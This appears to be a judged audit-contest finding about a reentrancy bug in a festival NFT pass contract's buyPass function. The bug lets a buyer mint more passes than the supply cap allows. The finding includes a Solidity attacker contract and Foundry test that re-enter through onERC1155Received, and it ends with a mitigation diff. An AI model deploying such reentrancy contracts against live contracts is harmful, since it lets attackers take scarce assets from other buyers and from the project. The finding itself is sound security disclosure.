Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

`buyPass` function is prone to re-entrancy attack

Root + Impact

Description

The buyPass() function in the Festival contract is vulnerable to reentrancy. The function calls _mint() before updating the passSupply state variable, and because it mints an token, it invokes onERC1155Received() on the receiver. An attacker can use this hook to reenter buyPass() and repeatedly mint passes before the supply is incremented, effectively bypassing the passSupply < maxSupply check.

@> _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];

Risk :

HIGH :

  • no external condition needed to attack

Likelihood:

HIGH :

  • No reentrancy guard is used.

  • The vulnerable pattern (_mint() before state update) is present.

Impact:

  • Attacker can buy multiple VIP passes in a single transaction, bypassing supply check.

  • Final passSupply update only occurs after all reentrant calls.

  • Leaves only 1 pass unsold, denying others.

Proof of Concept

contract ReentrantBuyer {
FestivalPass public festival;
uint256 public reentryCount;
constructor(FestivalPass _festival) {
festival = _festival;
}
// Start the first call
function attack() external payable {
festival.buyPass{value: 0.1 ether}(2); // Buy VIP
}
// Reenter during ERC1155 mint
function onERC1155Received(
address, address, uint256, uint256, bytes calldata
) external returns (bytes4) {
if (reentryCount < 5) { // to stop infinite loop
++reentryCount;
festival.buyPass{value: 0.1 ether}(2);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}
function test_ReentrancyOnBuyPass() public {
ReentrantBuyer attacker = new ReentrantBuyer(festivalPass);
// Fund attacker
vm.deal(address(attacker), 1 ether);
// Should revert if reentrancy protection exists, but doesn't, so we check passSupply
vm.prank(address(attacker));
attacker.attack{value: 0.1 ether}();
// Expect more than 1 VIP pass owned
assertGt(festivalPass.balanceOf(address(attacker), 2), 1);

Recommended Mitigation

  • Move ++passSupply[collectionId]; before _mint() to avoid reentrancy issues.

  • Alternatively, add a nonReentrant modifier to buyPass() using OpenZeppelin’s ReentrancyGuard.

+ function buyPass(uint256 collectionId) external payable nonReentrant {
// Must be valid pass ID (1 or 2 or 3)
require(
collectionId == GENERAL_PASS ||
collectionId == VIP_PASS ||
collectionId == BACKSTAGE_PASS,
"Invalid pass ID"
);
// Check payment and supply
require(
msg.value == passPrice[collectionId],
"Incorrect payment amount"
);
require(
passSupply[collectionId] < passMaxSupply[collectionId],
"Max supply reached"
);
// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
//--------code -----//
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.